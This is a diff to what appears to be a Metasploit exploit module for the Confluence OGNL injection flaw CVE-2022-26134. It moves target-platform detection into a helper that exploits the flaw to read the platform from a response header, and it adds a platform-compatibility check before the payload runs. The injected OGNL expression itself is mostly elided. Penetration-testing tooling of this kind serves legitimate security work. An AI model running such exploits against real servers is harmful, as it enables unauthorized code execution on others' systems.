@@ -90,10 +90,24 @@ def initialize(info = {})
9090 end
9191
9292 def check
93- version = get_confluence_version
94- return CheckCode ::Unknown unless version
93+ confluence_version = get_confluence_version
94+ return CheckCode ::Unknown unless confluence_version
95+
96+ vprint_status ( "Detected Confluence version: #{ confluence_version } " )
97+
98+ confluence_platform = get_confluence_platform
99+ unless confluence_platform
100+ return CheckCode ::Safe ( 'Failed to test OGNL injection.' )
101+ end
102+
103+ vprint_status ( "Detected target platform: #{ confluence_platform } " )
104+ CheckCode ::Vulnerable ( 'Successfully tested OGNL injection.' )
105+ end
106+
107+ def get_confluence_platform
108+ # this method gets the platform by exploiting CVE-2022-26134
109+ return @confluence_platform if @confluence_platform
95110
96- vprint_status ( "Detected Confluence version: #{ version } " )
97111 header = "X-#{ Rex ::Text . rand_text_alphanumeric ( 10 ..15 ) } "
98112 ognl = <<~OGNL . gsub ( /^\s +/ , '' ) . tr ( "\n " , '' )
99113 ${
@@ -110,15 +124,9 @@ def check
110124 }
111125 OGNL
112126 res = inject_ognl ( ognl )
127+ return nil unless res
113128
114- return CheckCode ::Unknown unless res
115-
116- unless res && res . headers . include? ( header )
117- return CheckCode ::Safe ( 'Failed to test OGNL injection.' )
118- end
119-
120- vprint_status ( "Detected target platform: #{ res . headers [ header ] } " )
121- CheckCode ::Vulnerable ( 'Successfully tested OGNL injection.' )
129+ res . headers [ header ]
122130 end
123131
124132 def get_confluence_version
@@ -138,6 +146,15 @@ def get_confluence_version
138146 end
139147
140148 def exploit
149+ confluence_platform = get_confluence_platform
150+ unless confluence_platform
151+ fail_with ( Failure ::NotVulnerable , 'The target is not vulnerable.' )
152+ end
153+
154+ unless confluence_platform . downcase . start_with? ( 'win' ) == ( target [ 'Platform' ] == 'win' )
155+ fail_with ( Failure ::NoTarget , "The target platform '#{ confluence_platform } ' is incompatible with '#{ target . name } '" )
156+ end
157+
141158 print_status ( "Executing #{ payload_instance . refname } (#{ target . name } )" )
142159
143160 case target [ 'Type' ]
0 commit comments